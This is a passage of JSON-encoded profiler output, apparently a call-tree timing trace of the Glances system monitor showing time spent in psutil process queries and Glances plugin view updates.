0.0020012609966215678, \"l1593\": 0.0020012609966215678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012609966215678, \"l382\": 0.0020012609966215678},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012609966215678, \"l1719\": 0.0020012609966215678},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997153005504515, \"l812\": 0.001997153005504515},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l680\": 0.0020021509990328923},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l1593\": 0.0020021509990328923},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l1740\": 0.0020021509990328923},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l1593\": 0.0020021509990328923},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l382\": 0.0020021509990328923},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021509990328923, \"l1683\": 0.0020021509990328923},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020021509990328923},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020021509990328923},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998390995140653, \"l1116\": 0.001998390995140653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996150003862567, \"l382\": 0.0019996150003862567},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000068001507316, \"l794\": 0.002000068001507316},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000068001507316, \"l1593\": 0.002000068001507316},\"children\": [{\"identifier\": \"nice_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002082\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000068001507316, \"l2089\": 0.002000068001507316},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l939\": 0.002001699998800177},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l1593\": 0.002001699998800177},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l2052\": 0.002001699998800177},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l1593\": 0.002001699998800177},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l382\": 0.002001699998800177},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001699998800177, \"l1719\": 0.002001699998800177},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981090008514, \"l1079\": 0.0019981090008514},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019981090008514, \"l1593\": 0.0019981090008514},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002336004807148, \"l836\": 0.002002336004807148},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002336004807148, \"l1595\": 0.002002336004807148},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001998244995775167, \"l148\": 0.001998244995775167},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998244995775167, \"l539\": 0.001998244995775167},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199983600032283, \"l382\": 0.00199983600032283},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l680\": 0.0020021070013171993},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l1593\": 0.0020021070013171993},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l1740\": 0.0020021070013171993},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l1593\": 0.0020021070013171993},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l382\": 0.0020021070013171993},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021070013171993, \"l1683\": 0.0020021070013171993},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020021070013171993},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020021070013171993},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019978999989689328, \"l836\": 0.0019978999989689328},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019978999989689328, \"l1593\": 0.0019978999989689328},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019978999989689328, \"l1796\": 0.0019978999989689328},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.0019978999989689328},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000984997721389, \"l939\": 0.002000984997721389},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000984997721389, \"l1593\": 0.002000984997721389},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000984997721389, \"l2053\": 0.002000984997721389},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200135400518775, \"l1064\": 0.00200135400518775},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002001,\"attributes\": {\"l1682\": 0.00200135400518775},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002001,\"attributes\": {\"l538\": 0.00200135400518775},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040014290061662905, \"l687\": 0.002001078006287571, \"l680\": 0.0020003509998787194},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001078006287571, \"l748\": 0.002001078006287571},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001078006287571, \"l1593\": 0.002001078006287571},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001078006287571, \"l1750\": 0.002001078006287571},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003509998787194, \"l1593\": 0.0020003509998787194},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003509998787194, \"l1740\": 0.0020003509998787194},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003509998787194, \"l1593\": 0.0020003509998787194},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003509998787194, \"l382\": 0.0020003509998787194},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003509998787194, \"l1683\": 0.0020003509998787194},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020003509998787194},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.0020003509998787194},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999696993152611, \"l382\": 0.001999696993152611},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999696993152611, \"l1138\": 0.001999696993152611},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999696993152611, \"l1593\": 0.001999696993152611},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999696993152611, \"l1878\": 0.001999696993152611},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.001999696993152611},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l639\": 0.007997305001481436},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l314\": 0.007997305001481436},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l347\": 0.007997305001481436},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l394\": 0.007997305001481436},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l1593\": 0.007997305001481436},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007997305001481436, \"l1857\": 0.003997844003606588, \"l1860\": 0.0039994609978748485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997844003606588, \"l1593\": 0.003997844003606588},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997844003606588, \"l375\": 0.003997844003606588},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997844003606588, \"l1683\": 0.003997844003606588},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.003998,\"attributes\": {\"l730\": 0.003997844003606588},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.003998,\"attributes\": {\"l718\": 0.003997844003606588},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.003998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002001,\"attributes\": {\"l824\": 0.002000593005504925},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002001,\"attributes\": {\"l773\": 0.002000593005504925},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002613,\"attributes\": {\"cGlancesProcesses\": 0.0026125659933313727, \"l679\": 0.0026125659933313727},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002613,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001386,\"attributes\": {\"cGlancesProcesses\": 0.0013863870044588111, \"l689\": 0.0013863870044588111},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001386,\"attributes\": {\"l589\": 0.0013863870044588111},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001386,\"attributes\": {\"l584\": 0.0013863870044588111},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001386,\"attributes\": {\"cpcputimes\": 0.0013863870044588111, \"l478\": 0.0013863870044588111},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001386,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000572996621486, \"l155\": 0.002000572996621486},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.002000572996621486, \"l711\": 0.002000572996621486},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002001,\"attributes\": {\"l69\": 0.002000572996621486},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002001,\"attributes\": {\"l34\": 0.002000572996621486},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010140,\"attributes\": {\"cProgramlistPlugin\": 0.010140156002307776, \"l678\": 0.006343112996546552, \"l677\": 0.0019988170024589635, \"l686\": 0.0017982260033022612},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001999,\"attributes\": {\"l132\": 0.0019988170024589635},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004343,\"attributes\": {\"cProgramlistPlugin\": 0.004342681997513864, \"l634\": 0.0019999279975309037, \"l633\": 0.0023427539999829605},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999279975309037, \"l629\": 0.0019999279975309037},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002343,\"attributes\": {\"cProgramlistPlugin\": 0.0023427539999829605, \"l619\": 0.0023427539999829605},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002343,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001798,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001877,\"attributes\": {\"cCpuPlugin\": 0.001876679998531472, \"l1278\": 0.001876679998531472},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001877,\"attributes\": {\"l1295\": 0.001876679998531472},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000169\",\"time\": 0.001877,\"attributes\": {\"cCpuPlugin\": 0.001876679998531472, \"l175\": 0.001876679998531472},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001877,\"attributes\": {\"cCpuPlugin\": 0.001876679998531472, \"l1351\": 0.001876679998531472},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000184\",\"time\": 0.001877,\"attributes\": {\"cCpuPlugin\": 0.001876679998531472, \"l215\": 0.001876679998531472},\"children\": [{\"identifier\": \"cpu_times_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001871\",\"time\": 0.001877,\"attributes\": {\"l1914\": 0.001876679998531472},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001690\",\"time\": 0.001877,\"attributes\": {\"l1713\": 0.001876679998531472},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000501\",\"time\": 0.001877,\"attributes\": {\"l510\": 0.001876679998531472},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001877,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001877,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.023985,\"attributes\": {\"cProcesslistPlugin\": 0.02398453799833078, \"l678\": 0.021982696998747997, \"l677\": 0.0020018409995827824},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.021983,\"attributes\": {\"cProcesslistPlugin\": 0.021982696998747997, \"l656\": 0.0033563339966349304, \"l633\": 0.018626363002113067},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001984,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.016619,\"attributes\": {\"cProcesslistPlugin\": 0.016619474001345225, \"l619\": 0.015373328998975921, \"l614\": 0.0012461450023693033},\"children\": [{\"identifier\": 